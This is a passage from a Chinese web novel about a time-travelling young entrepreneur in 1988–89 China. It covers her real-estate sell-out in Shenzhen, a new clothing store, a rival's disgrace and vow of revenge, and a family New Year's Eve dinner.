林珊说完决策，又跟大家商讨了一些细节后，会议结束。傍晚吃饭的时候，她跟赵桂花谈起了十二月份全国要允许土地使用权自由转让的事儿。 “你想干啥？”赵桂花一听她这口气，就知道这丫头又有主意了。 林珊笑道：“打听一下哪块儿地皮要拍卖。” 赵桂花知道这孩子是想着要自己干房地产的，这是到时候了？“可咱账上没有几百万啊。” “安河可比不了深城，我估摸同样大的地皮，二、三十万就差不多了。”林珊想的是，如果十二月份安河土地局有准备竞拍的土地，而且地点和价格都合适的情况下，她就会拍块儿地。但是如果条件不行，那再等等也无妨。 反正无论如何，明年初着手在京市买房是一定的。 88年和89年的京市房价大约在1600到1900元左右，买一套100平的，也还不到二十万。要是能遇上合适的四合院，她更是必定要拿下的。 赵桂花听完闺女的打算，拍了拍她的脑袋，“孩子啊，你就不嫌累吗？咱现在又不缺钱，房地产啥的不是也在南方弄起来了，有空就歇会儿吧。” 林珊知道她是为自己好，笑着解释道：“京市买房子挺省事儿的，买了放那儿当投资就能赚翻，一点儿不费工夫。” 林珊总不能告诉她，服装店、包子铺和食品厂现在挣钱，可不代表以后还能挣这么多钱。国产服装公司能不能活过围剿期还不一定呢，包子铺的利润却是一定会下降的，以后随着时代的发展也就挣个小钱而已。 食品厂倒是可以陆续研发新品一步步壮大，但这种东西的利润能有多大？到最后即使做到了全国数一数二的企业，纯利润也有限，还是得走上市那一步。 林珊对食品厂的规划也是如此。如果她不是从后世穿过来的，肯定已经对现在的一切感到非常满足了。可正是因为经历过后世，才是知道这四十年发生了怎样翻天覆地的变化。说每时每刻都有新政策下来，每分每秒形势都在发生变化，也一点儿都不夸张。 不尽快尽早布局，她岂不是白活了一遭。 不光要买房、盖房，等到九二年她还要大量购买优绩股，投资科技产业。她那些优秀的同学中，如果有想去深城发展的，她一定优先考虑入股。 以前没钱也就算了，现在有钱了，还不抓紧投资，难道等着通货膨胀吗。 次日，林珊托关系找了一下土地局的领导，简单谈过之后，林珊发现对方知道下个月是有这条政法规要公布，但是安河这边还没决定要把哪块儿地拿出去拍，一切都没开始启动，目前除了林珊，也没有任何一个人来问过任何关于土地使用权自由转让的事儿。 林珊不得不承认她是有点儿失望的，小地方果然是小地方啊，尽管离首都这么近，人们却丝毫没有相关的敏锐度，怪不得以后安河会落寞得不行。 土地局的领导见林珊失望，立刻表示他们会马上开始研究这个事儿，有消息之后，一定第一时间通知她。 林珊好好感谢了一番领导。其实去年手里有闲钱之后，她除了把安河四个包子铺的门面房都买了下来，还想让人去物色了一些临街的小院儿。 结果不是地方太小，就是价格不合适，林珊当时就算了笔账，那些钱投资在安河四、五年挣的利润，要远远小于倒买倒卖债券两个礼拜挣的。实在是太不划算了。 而且这些房子即使拆了盖楼，也不能更改使用类型，没产权就等于白忙活。拍地就不同了，盖了就能卖，安河就是以后经济再不行，现在也还是有一些有钱人的。 还是再等等吧。 林珊这边在为发展的事情奔波，贺启明跟林兰那头却是生生上演了好一阵子大戏。 林兰自从闹了那么一出之后，毕业的时候就顺利被分配到了贺启明的单位。俩人虽然不是一个科室的，但不妨碍她找他的事儿啊。 本来单位除了领导，是没有人知道贺启明 的父母是谁的。可经过林兰那一闹，单位一介入调查，可不就人尽皆知了。 这种事，只要有一个知道的，基本就传遍了。 本来就特别好面儿的贺启明，虽然在被调查后恢复了清白之身，但架不住林兰会演戏，会颠倒是非，会扮演弱者，不出一个月，贺启明就发觉大家看他的眼神开始不正常了，好像他是个臭流氓似的。 贺启明气得吐血，恨不得把林兰撕碎，但张秀英已经警告过他了，让他离林兰远点，她会再想办法把她调走。 可这都几个月了，林兰不但没走，还整天出现在他面前演戏，搞得贺启明都快崩溃了，最后实在忍无可忍，当众怒骂了她一通，把她干的不要脸的事儿都吼了一遍。 领导因此严厉批评了他跟林兰一顿，气得贺启明一肚子火，回家就对父母说：“我要去进修！” 第148章 第148章 开盘卖房 惹不起躲得起吧？ 贺启明觉得自己再待下去难保会干出什么事儿来, 他知道林兰的最终目的就是要毁了他！他现在是真的后悔啊，当初怎么就眼瞎看上了这么一个阴险卑鄙的人！ 张秀英却不允许他躲，“你做错什么了要躲出去？！这就是我教出来的儿子？！明明是那个小狐狸精的错！你躲出去别人会怎么说？刘检当众批评你干什么？他是不是也糊涂了？！” 张秀英因为怕贺振华跟她离婚, 已经低调了好一阵了，这会儿所有的火气都被儿子的逃避思想给勾出来了。 然而她愤怒至极, 贺振华却点了点头，“也行, 你先出去进修一段时间吧。” 张秀英难以置信，气得面红耳赤。 贺启明知道父母的关系紧张, 他赶紧表达了一下自己早想去深造的想法来安抚张秀英, “我深造回来能做更能多的事儿，就算没有林兰那神经病, 我在单位待得也不怎么舒服, 观念太不一样了。我想去外头再学点儿东西, 见识一下世面。林兰就是再疯，也不可能疯几年。不然她一直这么闹, 我还不能还手, 太憋屈了, 影响实在太差了。” 张秀英不是不知道儿子说的话有道理，她就是心里气不过。养尊处优惯了，不要说被算计，平时谁不是上赶着奉承她的，没想到精明一世, 居然在一个小丫头片子身上栽了跟头。 偏偏贺振华又一直压着她, 不然她早让把那丫头收拾干净了！还用儿子跑那么老远去？！ 贺振华对张秀英脑子里在想什么一清二楚，他完全不想搭理，倒是觉得启明总算是明白过来了, “去吧，去外头多学点儿东西。” 得了父亲允许的贺启明，等于是拿到了深造的通行证。张秀英即使再不甘心，再舍不得，也做不了主。 贺正岩是一个月后才知道贺启明要赴美读书的，夜里跟林珊的电话闲聊里，顺嘴提了一句。 林珊“哦”了一声，对张秀英的脾气和林兰的破坏力，都有了新的认识。她总感觉这事儿还没完。不过至于她们要怎么闹，就跟她没有关系了。除非林兰继续作死，非要上赶着给她送人头。 十二月中旬，安河公司正式从旧址搬入新址。“华耀商贸有限公司”、“林爱国食品有限公司”，以及“红珊服装有限公司”的招牌挂在院门口，一目了然。 进了里面，水泥地面干干静静，耐寒的花草和小树，分别待在专属的绿化区域。三个公司位于东、西、北三侧，窗几明亮光照充足，屋里的暖气也烧得非常充足。自行车、摩托车、汽车，都有专门停放的位置。上头还有棚子，不用担心被雨淋。 除了门卫和保安，三个公司旁边还配备了各自的茶水间，公共厕所修在后头的角落里，虽然没办法跟楼房里的抽水马桶比，但是也相当干净了。比旧公司好上一万倍！ 不仅员工们对新地方满意得不行，就连赵桂花都指着林珊办公室里面的休息室说，以后我就睡这儿了。 林珊笑了，“这地方都是妈的，想睡哪儿就睡哪儿。” 赵桂花乐呵呵地隔着窗户指着外头的小亭子，“以后天暖和了，我就在那儿喝喝茶，看看报纸，你说美不美？” “美！” 换了新的工作环境，林珊自然要再继续鼓励大家一番，尤其是食品公司，大家这一阵儿真的是辛苦了。 服装厂做的那一批基础款的衣裤，只用了一个礼拜就全部卖光了。林珊除了继续追加了生产外，还让阿英开始开发新的春夏单品。至于秋冬最好卖的毛呢大衣和棉服，可以试着做上一两件，看看自己的水平，慢慢研究起来。 前一阵制作毛衣的编织机也已经就位了，不过技术还在培训中，今年秋冬是赶不上了，只能等来年再大展身手。 钱超在张学强的帮助下，上周在汉州找到了开服装店的店面。林珊抽空过去看了一趟，位置非常合适，价钱也谈得很可以。 装修方案和培训章程都是统一的，接下来的工作只要按部就班的做就可以了。不过小团队毕竟是第一次开店，所以每一步都走得非常谨慎。 为了让“红珊”品牌更快的打开其他地区的市场，林珊决定免费为胡敏和姚雪提供服装，以后只要有任何出境的需求，两位都可以来“红珊”选择衣服和首饰。 胡敏跟姚雪都有点儿不好意思，林珊则实话实说：“这是互惠互利的事情，两位姐姐千万别这么说，您二位愿意穿我们家的衣服，也是看得起我们。” 除了请明星，林珊还在沪市的时装杂志上买了一些定向广告，介绍店里的衣服风格和周到的服务，另外也没忘了写上好多大明星都是穿自家的衣服。 杂志社还亲自跑到京市拍了好几组照片，全国发行的杂志，受众又都是她的目标群体，收效自然很好。 等汉州那边的服装店落成之后，她也会在汉州日报上买广告的，告诉省城人民，大明星喜欢的服装店开到自家门口啦！ 安排好服装公司的事情后，林珊准备再次南下。 粤城那边的广告做好之后，刘灿荣已经寄过一盘带子给她看过了，效果完完全全就是他们想要的那种。不仅林珊满意，其他股东们也都非常喜欢。售楼处那边的装修前两天也正式结束了，林珊这次去就是参加开盘仪式的。 其实按照后世来看，“荣发”房地产公司的开盘时间是非常晚的，毕竟明年89年五月底就竣工了，88年12月中旬才要开盘，确实不如后世迅速。不过因为这个时候的“商品房销售许可证”下得非常慢，这已经是丝毫没有耽搁过后的进展速度了。 林珊这次去，把赵桂花和李娜兄妹带去了。桂花女士喜欢大场面，是她自己主动申请要去的。 这次照旧先到粤城，然后再跟着雷生金和郭广发两家一块儿前往深城。 路上大家有说有笑的，雷生金说他一个深城的朋友看了工地之后，直接就定了一套。郭广发也说他大哥一个港城来的老板，直接定了两套，钱都提前给他哥了。 林珊很开心，“咱的电视广告昨天晚上才正式投放，等它稍微发酵发酵，到时候一定被全部抢光。” 雷生金哈哈笑，“是啊，这房子我自己都想住，更别说其他人了！” 郭广发乐道：“要是有剩的，我先来一套。” 一行人傍晚刚抵达郭广盛的旅馆，就被员工激动地拦住报喜：“成了！真成了！公司现在都是人！大家都要买咱的房子！” 就一天的功夫，荣发房地产门口就挤满了人，震得郭广盛说话都不利索了，“慢、慢慢来！慢慢来！都有！都有啊！” 他长这么大，第一次看见抢房跟抢白菜似的景象！明天一早他们才要正式开盘呢，这可咋整，他还没展示精心准备的售楼处呢！ 定价1800元/平方米的“富景丽苑”，在这个时候的深城绝对是独一份的高单价了，再加上还有每平方米8毛的物业费，绝对让工薪阶层望而却步。 老实说在广告没做好之前，郭广盛心里还是有些打鼓的，临开盘这两天更是没睡过一个好觉。他怎么也不会想到正式的营销只进行了一天，早上起来，居然会被前来买房子的老板们堵在公司门口！ 林珊一行人到的时候，他还在带着全公司的人，帮各位买主办手续，丝毫顾不上迎接股东们。 雷生金笑眯眯的摸着下巴，“阿珊姑娘，看来我们第二期的房子也可以开始盖了。” 林珊非常同意，“这一批没买上的，可以提前预购。” 郭广发眼睛一亮，“没错！可以预购！” 林珊在后世的时候看过资料，知道这个年代深城刚盖出来的房子非常好卖，但是好卖到这个程度，完全超乎了她的预期。 “荣发”房地产公司只用了一天时间，就卖出了这四栋楼的百分之七十，全体员工忙到晚上十一点多才关门。要不是第二天还有开盘仪式，有领导们要过来，郭广盛真想通宵！ 次日，“荣发”房地产公司的开盘仪式盛大举行。 深城的领导们，郭、雷两家的亲朋好友，报社的，电视台的，还有昨天买了房，以及想今天过来看看再决定买不买的客人们。一时间，罗湖这片荒地上，热闹得不行。 郭广盛搞得场面很大，又是搭台子，又是铺红地摊的，举行仪式的桌子上，摆了很多鲜花，以及各色水果。 领导们也很重视这次开盘，这对深城有着深远的意义，这是深城第一次拍卖土地后，正式开始售卖的楼盘，它的成功尤为重要。 看看这售楼中心盖得那叫一个气派，再瞧瞧这身后已经起来的楼房质量，还有那沙盘和未来建成后的图纸，参观了一圈的领导们，没有一位不真心称赞“富景丽苑”的。 锣鼓鞭炮舞龙舞狮后，领导们发表讲话，郭广盛作为代表也发誓要把“富景丽苑”建成深城最一流的小区，为深城的房地产，为深城的经济发展，做出自己应有的贡献。并对所有的业主表示，“富景丽苑”绝对物超所值！ 仪式结束后的售楼处，再次被买房的客人们挤得水泄不通，前一天还有些犹豫的人立刻掏钱订房，必须赶紧下手，不然就得等到第二期了。 第149章 第149章 全部售罄 “荣发”房地产公司的第一期用时两天时间, 全部售罄。 当天晚上股东们就决定，立刻启动第二期工程。林珊同时建议启动上市计划，为进军其他省市做好准备。 因为国家要到91年, 才在建行和工行建立房地产信贷部，开始办理个人住房信贷业务, 所以现在这个阶段，买房子都是直接拿着全款来的。 “富景丽苑”四栋楼一共72户, 买房款收入共计1120万元，抛除所有成本, 净利润505万。 第二期如果现在开始动工, 竣工日期只比第一期晚半年而已，房地产说白了只有拍地的时候成本投入最多, 真正建设起来, 即使都用时下最好的料也花不了多少钱。 所以给二期工程分出一百万资金之后, 仍然有四百万的流动资金。这些钱股东们一致同意不用来分红，而要继续用来拍地。 郭广盛对深城的土地局很熟悉, 他知道罗湖还有地要拍, 甚至连底价都打听得一清二楚。几人估算了一下, 四百万肯定不够拿下12000平方米的地方，所以林珊建议向银行借贷400万。 “借这么多？我怕银行一下没那么多钱。”郭广盛虽然在深城这几个银行都有关系，但具体哪个行的贷款指标有多少他还不太清楚，毕竟以前去银行从来都是存钱的，没关注这一方面的东西, 连贷款利息是多少都不知道。 “一家不够, 咱就多跑几家。钱贷得越多，能拿到的地就越多。”林珊对深城银行的实力还是很有信心的，以公司现在的运营状况, 想拿贷款也不是难事。更何况等明天他们开盘的新闻上了电视和各大报纸，又被领导们背过书之后，想贷款就更不成问题了。 林珊之前画的深城规划图，现在郭广盛那儿也有一份，按着那个去拍地，绝对不会出错。目前先攻占深城市场，进一步完善商品及公司的运作机制，等将来上市之后，再开始转战其他省市。 大家对林珊的想法表示非常赞同，第一期的总收入去掉拍地的那525万都能赚这么多，等第二期盖好之后，岂不是挣得更多！千万利润妥妥的！ 当初凑这五百多万的时候，想过会赚，但谁都没想到能挣这么多，还挣得这么快！大家心里都清楚，这生意从一开始就是林珊出的主意，再到后面的一切规划，离开她，房子根本不可能盖这么好，卖这么快。所以大家现在对她说的话，比以前多了更多的信服。 制定完接下来的规划之后，临行前，郭有财再次请大家在国贸旋转餐厅，吃了顿庆功宴。 赵桂花这次对对面的港城没什么兴趣了，就连郭有昌邀请林珊她们过去玩玩儿，桂花女士都笑着摆摆手，客套道：“下回吧，这回时间紧。” 郭广盛喝得有点儿高，指着脚下的深城开始规划起来，“那边儿的地皮咱们要拿下，后头也要，右边山上可是好地方啊！必须拿下！” 雷生金也在一旁豪迈地说：“粤城土地局那边我也去问问，只要有好地方，绝对少不了‘荣发’！” 林珊笑着给几位叔叔鼓掌点赞，虽然饭桌上大家一直在夸她，但她心里清楚，没有诸位，这一切根本就不会发生。 一行人回到粤城后，林珊又带着阿英去了趟旧货市场和水货市场，让她和这边公司的人熟悉熟悉装饰摆设，方便以后为其他服装店的装修采购东西。 除了这些小事，林珊还带着赵桂花和李娜兄妹去服装厂看了看。上回开业她们没来，一瞧这大厂子，桂花女士立刻背着手夸奖道：“看看咱这机器！哎呦呦！这衣服真好看！这棉袄真漂亮啊，阿英是你做的？你实在是太有才了！” 阿英很开心自己试着做的棉服，能被赵桂花喜欢，当即就让她穿上看看。 自从家里有了钱之后，赵桂花就越发爱漂亮了，给她穿什么好衣服都不拒绝，去年过年从春晚看见人家姚雪穿的那套裙子后，她自己也跑去安河店里试了试，要不是实在不合适，她势必要搞个明星同款穿穿。 深紫色夹克棉服，胸前还绣着红珊的logo，赵桂花那叫一个爱不释手啊，再次把阿英夸到了天上，高兴得阿英连忙说：“婶婶你穿走这件吧，我再重新做就好啦！” “哎呀呀，那多不好意思啊。”赵桂花嘴里这么说着，人却一直在镜子前照来照去，美得不行。林珊看着她这个样子，笑着摇了摇头。 从粤城回到安河后，林珊直接前往食品厂视察。 从九月份广告播出之后，厂子一直忙到现在，几乎每天都在赶工的状态。厂里的员工增加了将近一倍，货车又买了三辆，全国不管是铁路还是路路的货运线，也跑了好多条出来。所有人齐心协力，为全国各地区的经销商提供着辣椒酱和肉酱。 在临近农历年之前，林珊准备再买一段时间的广告，所以到时候势必会更加忙。她这次过来，是想看看各方面的工作都准备好没有。 赵福经过这几年的锻炼，早已经可以独当一面了，他不仅把食品公司管得有模有样，这么大的厂子也经营得非常出色。人早没了以前的土气，呢子大衣一套，皮鞋一穿，俨然一副老板的派头。不过外表再怎么变化，他骨子里的善良淳朴却还是一如既往。 林珊见他把一切都安排得井井有条，看了一圈之后，也就放心地回公司了。至于研发“下饭菜”的事，还是等过完年再说吧。 公司盖好之后，林珊还没怎么在里面待过。这会儿坐在暖和的屋子里看看账本，跟林红和李娜喝喝茶聊聊天，也算是难得的休闲时 光了。 林珊这头舒适，林兰那头却坠入了深渊。 贺启明像个鬼孙子似的逃跑了不说，临走前还写了一封检举信给刘检！ 信上，贺启明不但把跟林兰从第一天认识到分手后又被她诬告的整个过程，写得无比详细，还特意揭露了林兰故意隐瞒其父林富贵恶劣罪行的违规行为。卷宗档案全部都附带进了信里，贺启明在临出国前，总算是展现了一个法律人该有的风范。 刘检看到信之后，深深叹了口气，骂了当初负责调查这个事儿的下属一通后，给贺振华的秘书打了个电话，希望能有机会向领导表达歉意。 一周后，林兰被逐出检察队伍。通报被贴在公告栏里，事情的来龙去脉写得一清二楚。 这通报一出，所有之前被林兰蒙蔽的人，尤其是年轻的女同志们，一个个既气愤又后怕，恨林兰竟然这么不要脸！这么阴险！ 光故意隐瞒恶劣背景这一条就够恶心人了！更别提她还那样污蔑陷害贺同志！而且还故意编造谎言来蒙蔽她们！幸亏领导家英明，不然遇上个小心眼的，谁能保证她们的工作还在啊！ 三个多月前，林兰借着大闹进了检察队伍，现在不但被利落地逐了出去，还在档案里留下了几个硕大的汉字，生怕其他人不知道她父亲干过什么。 之前被分手、被阻碍分配，让林兰无比气愤和不甘，满心只想着要报复。后来看着贺启明被她气得要死，却什么办法也没有的时候，更是让她得意又痛快。 俩人闹了这么久，直到这会儿，林兰才算真真切切体会到了“疼”。 之前也不是不知道鱼死网破的后果，但是当时满脑子堆满了情绪，根本容不下理智思考，现在她想报复的人挥挥衣袖就出国了，而她不但没了工作，以后也别妄想再进好单位了。 她这才彻底意识到，自己连人家的边儿都挨不上，人家要是真想对付她，真得就跟碾死蚂蚁一样简单。 林兰在租住的小房间里，躺了好几天，正愤怒烦躁到想打人的时候，她二哥林爱军偏偏打电话过来透露了一件事，林珊居然在深城有个房地产公司！ 一时间，林兰所有的愤恨像是找到了出口，都怨那个不要脸的狐狸精！如果不是她！她会沦落到今天这个地步吗？！ 都是她害得自己家破人亡，害得自己被抛弃，害得自己在单位抬不起头来！全是因为林珊那个不要脸的贱货！ 那贱货不是重生，上辈子不仅她，他们一家都是短命鬼，怎么可能知道后世那么多东西，又是开连锁店，又是弄高档服装店，现在居然连房地产公司都有了！她一定是穿越的！ 一个不知道哪里过来的冒牌货，居然敢把自己害这么惨！简直是欺人太甚！ 林兰当即做出了一个决定，她要下海经商。 大学时期暗恋她的胖子陈耀祖，毕业后回了粤城，钓上他，启动资金和人脉就不用愁了。不就是做生意吗？林珊你给我等着！看我让你怎么死！贺家也给我等着！你们全都得死！ 林珊不知道自己又被恨上了，在安河又待了一晚后，她就回到了京市。 贺正岩好不容易攒了两天假，两人一定要好好过过小日子才行。 林珊本来还想带他出去改善一下伙食，结果这人一回来就拉着她在科研所的房子里生生待了一天。除了吃饭，就是搂搂抱抱亲亲，然后再时不时说些不重要但是又很亲密的事情。 一直到第二天，贺正岩才带着林珊去找姜春荣，三人在老莫餐厅吃洋午餐。 林珊发现他们母子俩在西餐上面，喜欢吃的东西还是有些相近的，都爱这个闷罐牛肉，林珊点的是奶油烤鱼，再配上酸酸的红菜汤，非常美味。 大家开心地吃吃喝喝，闲聊间谈到了过年怎么安排。贺正岩今年终于有了正当的借口，不回贺振华那儿过年了，姜春荣回来了，又是一个人，他要陪母亲吃年夜饭，多么正当的理由。 姜春荣说她有几天假，如果林珊不嫌弃，她可以带着儿子去安河过年。 林珊当然不会嫌弃了，可以说没有比这个更好的安排了！她家年夜饭只有她跟桂花女士，饭都不能多做两道，这下好了，多了贺正岩跟姜春荣，配上好酒好菜，一定能热热闹闹得过个大年！ 第150章 第150章 齐聚安河 年前往往是非常忙碌的, 林珊除了要忙着学校的考试，还要确保各个服装店的货都备齐了，幸好京市现在多了魏雪琴、闫青和闫强这三个帮手, 不然一下顾两个大店，还真有点儿手忙脚乱。 食品公司那边儿有赵福他们, 基本不用怎么操心，粤城那边阿英的小团队也在逐步扩大中, 一切都有条不紊的，就连正在汉州奔波开新服装店的小团队, 这段时间也做得越来越顺手了。 可别看这些事儿不需要林珊亲力亲为, 有时候光接电话听汇报就要占用大半天的时间，更何况临近年底, 很多账本都要送过来审核, 简直是一个人分两半儿用。 贺正岩在京市待了两天后, 心满意足地回河西省奋战了。他在那儿的任务到今年农历年前就结束了，这一段时间算是最后的收尾总结阶段。 不过即使俩人再忙, 夜里打打电话交流一下一天都干了什么的时间还是有的。 一月中旬, 林珊顺利完成了所有科目的考试后, 带着魏雪琴、闫青以及杨国福，去汉州的服装店验收成果了。 安河服装公司的冲刺小团队，努力了将近三个月的时间，终于搞定了品牌驻汉州市的第一家服装店。 紧邻百货大楼的超大门面，清一色的玻璃橱窗, 优雅的色调和装修风格, 惹得行人纷纷驻足惊叹。店长跟售货员全部培训完毕，配货也已经全部完成，现在只等着林珊验收通过, 择良辰吉日开业。 林珊这次之所以把京市的人也带上，就是想让他们彼此之间继续相互再熟悉一下，多交流一下经验，这样方便以后公司整合。 汉州服装店的完成标准非常高，林珊视察结束后对小团队进行了表扬，年底的奖金必定要给得厚厚的。因为之前就跟汉州市的电视台和报社都有过联系，所以刊登广告办得也非常迅速。 三天后是良辰吉日，公司在汉州有关系的人几乎都过来捧场了，那么多加盟店的老板，一个个都带着礼来了，再加上早早就在店门口大排长龙的顾客们，一时间把整条街都挤得水泄不通。 年前是服装店生意最好的时候，尤其是在这个时代，大家一整年都不舍得穿好衣服，过年了说什么也得捯饬一下。 汉州市的爱美女士们，不管是有条件还是没条件的，都对“红珊”能开到家门口感到无比开心。能跟大明星穿一样的衣服，过年走亲戚的时候多有面子啊！ 林珊看着杨艳跟郭娇帮着店长跟售货员们招呼着客人，暗暗点头。装潢之类的硬件做得好，服务也培训得非常到位，他们的开店冲锋小分队真得特别优秀，值得大大的嘉奖。 汉州服装店顺利开张之后，林珊又回到京市继续忙着做年前的安排。现在这边的员工原来越来越多，已经不方便所有人都来科研所找她汇报了。 所以林珊想找找看看有没有适合办公的地方，既然张开嘴委托朋友了，她就索性就把找房子的事儿提了一下。 晚上跟贺正岩通电话的时候，他听到这个有点儿意外：“你想在京市买房？” “是啊，主要用来投资。另外我妈他们过来的时候，也方便住。”总不好一直住姜老爷子的房子，虽然现在已经给贺正岩了，但林珊就这么占着也很不好看啊。 贺正岩：“好，我明白了，我找人帮你打听一下。” 林珊甜甜地说：“虽然我已经托人了，不过多个人帮忙效率更高，谢谢啦。” 贺正岩笑了，隔 着电话都能想象得出她这会儿的可爱模样，“我年二十八回去。” 林珊有点儿遗憾：“我那时候应该已经回家了。” “没事儿，在京待上一晚就带着我妈去找你。” 林珊笑了，“好，这个年不胖五斤谁都准回去。” 贺正岩的笑声从听筒传来，“好，都听你的。” 安排好京市的所有公事，又挨着给朋友都送了一圈儿年货之后，林珊就回安河了。 安河公司这边也要忙着各种过年的事情，虽然很多事情都不用林珊亲自去做，但是开表彰会，给主管们发钱这种事，还是需要她亲自来的。 今年是公司全面突破的一年，营业额较去年全年增长了52%，虽然食品公司因为辣椒酱畅销全国占了大头，但服装公司也毫不逊色，贡献了41%的利润。 粤城的服装厂也开始接外单了，这一部分的利润目前还不算特别大，但相信再发展一段时间的话，一定能更上一个台阶。 地产公司跟到倒卖证券的利润，由于是林家娘仨自己的投资收入，跟食品和服装公司没有任何关联，所以并不计算在内。 林珊一家在公司忙到了年二十八上午，才正式关门。89年的除夕是阴历二十九，又加上贺正岩跟姜春荣要过来过年。所以赵桂花老早不仅开始盘算年夜饭弄什么，还把家里打扮得花里胡哨的。 贴得到处都是窗花，还在院儿里扯了好几条小彩旗，之前服装店装修剩下了一串小彩灯，她也给挂屋檐上了。打扮屋子还不够，她还恨不得把屋子收拾得一尘不染。 杯子拿出去晒了晒，床单被罩也全都换了新的，“姜大姐住红子那屋，小贺住你那屋，咱娘俩睡一屋。” “好。”林珊擦着干净得不能再干净的桌子，体会到后世短视频里，那种过年前被家长强拽着收拾屋子的感觉了。 “八个菜，四个辣的，四个不辣的，再配一个排骨汤。你看我这菜单写得咋样？”赵桂花递过去让林珊参考。 林珊一瞧这鱼、虾、蟹都有不说，还有各种大肉硬菜，唯一一个素的还是贺正岩爱吃的韭菜炒鸡蛋，她不禁竖起大拇指，“比国宴都厉害啊，赵女士。” “边儿去。”赵桂笑骂了她一句，拿回菜单，“赶紧来帮我准备东西。” 母女俩从年二十八下午开始准备，一直忙到第二天中午才把菜全部都备齐收拾好。 贺正岩跟姜春荣是下午三点钟到的，一整个车厢都被母子俩塞满了年礼。赵桂花站在大门口看着贺正岩这一趟又一趟的往家搬，直呼：“哎呦呦，拿这么多东西干啥啊，家里什么都有，蓉姐咱都是自己人，可不兴这么客气！” 姜春荣笑着把赵桂花拉进院子里，说：“都是全国各地的特产，拿过来咱一块儿尝个新鲜。” 尝鲜？ 赵桂花觉得都这东西够她开小卖部了，所以她拉住姜春荣再次强调道：“那提前说好了，明年咱可不兴再这样儿了啊。” “好的桂花妹妹。” 赵桂花比姜春荣小两岁，还从来没人这么叫过她，一时还有点儿迷糊。 林珊一边安排着贺正岩提过来的那些东西，一边问他：“叔叔那里都安排好了？” “嗯，你的礼都给他送过去了，他还真挺喜欢吃那个辣椒酱的，包子也夸了好几回。”贺正岩说罢看了眼外头，发现两位母亲正在院子里聊天，赶紧伸手抱着林珊亲了一下。 林珊笑着推他，“那以后我就勤给叔叔送。” 她其实还挺不好意思跟贺振华联系的。毕竟是大领导，人又那么忙，打个电话都特别麻烦，要转好几回，更何况是去家里了。再说又发生了林兰的事儿，张秀英看见她可能心里也不痛快吧，总之挺别扭的。 所以即使是过年的问候和送礼，都得拜托贺正岩去办。 “不用那么勤，他平时不怎么在家吃饭。”贺正岩放好箱子，拉住林珊的手，好好看了看她。 年夜饭是四个人一块儿准备的，赵桂花跟林珊是主厨，贺正岩跟姜春荣打下手。也幸亏家里厨房大，不然四个人还真转不过来弯儿呢。 家里今年安了暖气炉，炭烧得非常旺，就是在屋里穿单衣也一点儿都不觉得冷。 满满一圆桌的饭菜，红烧鱼，清蒸蟹，狮子头，韭菜鸡蛋和莲藕排骨汤，五个不辣的菜是赵桂花做的，林珊做得全是辣菜，香辣虾，蒜苗炒腊肉，回锅肉，外加一个辣子鸡。 配上电饭锅闷出来的香米饭，就着贺正岩带过来的茅台，再加上电视里热闹喜气的春节联欢晚会，这才是一顿像样的年夜饭嘛。 桌上，姜春荣尝了一圈美食后，夸了又夸，还无比感慨道：“上次我在家里住的时候，想着要是姗姗能跟我儿子在一块儿就好了。你再看看现在！” 她笑着看向林珊跟贺正岩，见儿子正好在给林珊夹鱼，瞬间满脸的欢喜和欣慰。 赵桂花也美滋滋地说：“是啊姐，你看这俩孩子多好！” “……”林珊不习惯被家长这么看着，赶紧笑着起身给两位夹菜，顺便岔开话题，“今年姚雪穿得衣服，还是咱家的。” “是吗？！”赵桂花一下就被吸引了注意力，立刻扭头看电视。 姜春荣虽然不知道谁是姚雪，但是对方穿的是姗姗店里的衣服，那她可要好好看看了。 说起春晚和明星，这可就是赵桂花的强项了，自从有了电视，她以前热衷的做衣服、织毛衣，现在也放下了，追剧、看电视节目成了她全部的休闲日常。 大家看着春晚，出来一个人她就介绍一个人，一台晚会就没有她不认识的。 林珊深感佩服。 第151章 第151章 京市的公司 吃吃喝喝到中场的时候, 电视里的小品出现了一个结婚的桥段，赵桂花瞬间一拍大腿：“哎呦，瞧我净顾着瞎扯了, 差点儿忘了正事。” 她放下酒杯，笑眯眯地看着贺正岩, “姗丫头说，你们准备等她一毕业就结婚？” “是。”贺正岩笑了, “不过，如果能再早点儿当然更好。” 林珊推了他一下, 两位长辈哈哈笑了起来。 “好好好！迟点儿早点儿都没什么, 最重要的是你们俩过得好。”赵桂花说着又举起酒杯，“来来来, 咱干一杯！” 四人一起举杯, 喝了口小酒。 林珊虽然不怎么胜酒力, 但是过年过节的时候喝上两小盅还是没问题的。 赵桂花比她能喝点儿，贺正岩也不怎么爱喝, 四个人中最能喝的居然是姜春荣, 不过她平时也不喝, 完全不知道自己酒量竟然这么大。 饭桌上，大家一会儿谈论节目，一会儿谈论生活琐事，一会儿又说说彼此的孩子。 赵桂花知道姜春荣跟贺正岩他爸离婚了，贺爸爸好像是个干部, 但具体干什么的她就不知道了, 所以小声向姜春荣打听：“姐，前姐夫同意这门亲事吧？” “……”林珊对她的称呼有些无语，贺正岩则低头笑了。 姜春荣倒是很喜欢她这么称呼, 笑道：“同意，我看他巴不得跟这小子一样，让俩人现在就结婚呢。” 赵桂花这就放心了，“好好好，结婚是大事，都开开心心的比什么都重要。”离不离婚没什么，别让她闺女在中间为难就好，不过看蓉姐跟正岩这孩子的为人，肯定不会让她闺女受气的。 去年年夜饭的时候，林珊跟赵桂花看完春晚才九点半，俩人强撑到零点，随便放了一串炮就赶紧睡了。 今年的春晚就跟后世的很接近了，整台节目要十二点半左右才结束，而且多了零点敲钟这个非常具有仪式感的节目。 今年四个人说说笑笑本来就精神头十足，等零点的时候再配上电视里的倒计时庆祝，瞬间劲头儿就更足了。 贺正岩负责放鞭炮，不但把林珊家里备的放了，还把自己拿来的也都放了，今年的炮声算是彻底干过了邻居王婶子家。王家是这一片儿的炮王，每年都是他家响得最大最久，没想到今年换人啦。 贺正岩不仅带了炮，他还买了一捆烟火，一根儿一根儿的那种，让林珊拿着朝天上放。 赵桂花跟姜春荣见这么好玩儿，也立刻加入了进来，一时间三位女同志齐刷刷地拿着树棍儿烟花，朝天上轰了起来。 小院儿充满了欢声笑语 ，天空炫彩夺目。 次日所有人都睡了个大懒觉，林珊是起得最早的那个，她洗漱完，肚子还没有半点儿饥饿的感觉，正打算冲一碗鸡蛋茶的时候，贺正岩起来了。 “帮你也冲一碗怎么样？” “好。”贺正岩笑着揉了把脸，赶紧洗漱去了。 鸡蛋茶巨简单，鸡蛋打散，点上些酱油和香油，再用开水一冲，瞬间一碗香喷喷的鸡蛋汤出锅。林珊肚子不饿，只给贺正岩热了几个包子。 